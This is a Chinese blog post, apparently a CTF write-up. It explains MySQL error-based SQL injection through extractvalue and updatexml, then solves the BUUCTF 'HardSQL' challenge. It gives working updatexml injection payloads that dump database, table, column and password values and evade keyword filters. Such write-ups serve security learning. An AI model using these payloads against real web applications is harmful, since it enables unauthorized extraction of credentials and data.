SQL报错注入-[极客大挑战 2019]HardSQL

记录一下报错注入的几个函数和用法

报错注入常用的函数

函数 描述

extractvalue

使用XPath表示法从XML字符串中提取值
updatexml 返回替换的XML片段

 

extractvalue函数

ExtractValue(xml_frag, xpath_expr)

ExtractValue()接受两个字符串参数,一个XML标记片段 xml_frag和一个XPath表达式 xpath_expr(也称为 定位器); 它返回CDATA第一个文本节点的text(),该节点是XPath表达式匹配的元素的子元素。

第一个参数可以传入目标xml文档,第二个参数是用Xpath路径法表示的查找路径,第二个参数格式书写错误的话就会出现报错信息,那么我们可以在第二个参数中注入一些sql语句从而能够在报错信息中得到我们想要的数据。

updatexml函数

UpdateXML(xml_target, xpath_expr, new_xml)

 

xml_target:: 需要操作的xml片段

 

xpath_expr: 需要更新的xml路径(Xpath格式)

 

new_xml: 更新后的内容

此函数用来更新选定XML片段的内容,将XML标记的给定片段的单个部分替换为 xml_target 新的XML片段 new_xml ,然后返回更改的XML。xml_target替换的部分 与xpath_expr 用户提供的XPath表达式匹配。

例子:

mysql> SELECT
    ->   UpdateXML('<a><b>ccc</b><d></d></a>', '/a', '<e>fff</e>') AS val1,
    ->   UpdateXML('<a><b>ccc</b><d></d></a>', '/b', '<e>fff</e>') AS val2,
    ->   UpdateXML('<a><b>ccc</b><d></d></a>', '//b', '<e>fff</e>') AS val3,
    ->   UpdateXML('<a><b>ccc</b><d></d></a>', '/a/d', '<e>fff</e>') AS val4,
    ->   UpdateXML('<a><d></d><b>ccc</b><d></d></a>', '/a/d', '<e>fff</e>') AS val5

结果:

***********结果**************
val1: <e>fff</e>
val2: <a><b>ccc</b><d></d></a>
val3: <a><e>fff</e><d></d></a>
val4: <a><b>ccc</b><e>fff</e></a>
val5: <a><d></d><b>ccc</b><d></d></a>

  这样我们就可以在第二个参数中注入一些SQL语句来得到我们想要的数据

实战

[极客大挑战 2019]HardSQL

题目来源:BUUCTF-WEB

https://buuoj.cn/challenges

试了一下and、select、--等关键字都被过滤了,但是有报错信息,可以试试报错注入

 

 

 

 爆数据库:

?username=123&password=4456'^(updatexml(1,concat(0x7e,(select(database())),0x7e),1))%23

 

 爆表:(这里'='被过滤,使用like进行绕过)

?username=123&password=4456'^(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))%23

  

 

 爆字段:

?username=123&password=4456'^(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23

 

 找password:

?username=123&password=4456'^(updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1))%23

 

 这里只显示了一部分,使用right()多找几次就可以找到全部flag

 

 

 

 拼接一下就可以得到完整的flag

参考

https://www.cnblogs.com/laoxiajiadeyun/p/10488731.html

https://blog.csdn.net/weixin_43952190/article/details/107096009

https://blog.csdn.net/u011718707/article/details/107405676

posted @ 2020-09-23 17:11  s1awwhy  阅读(162)  评论(0编辑  收藏  举报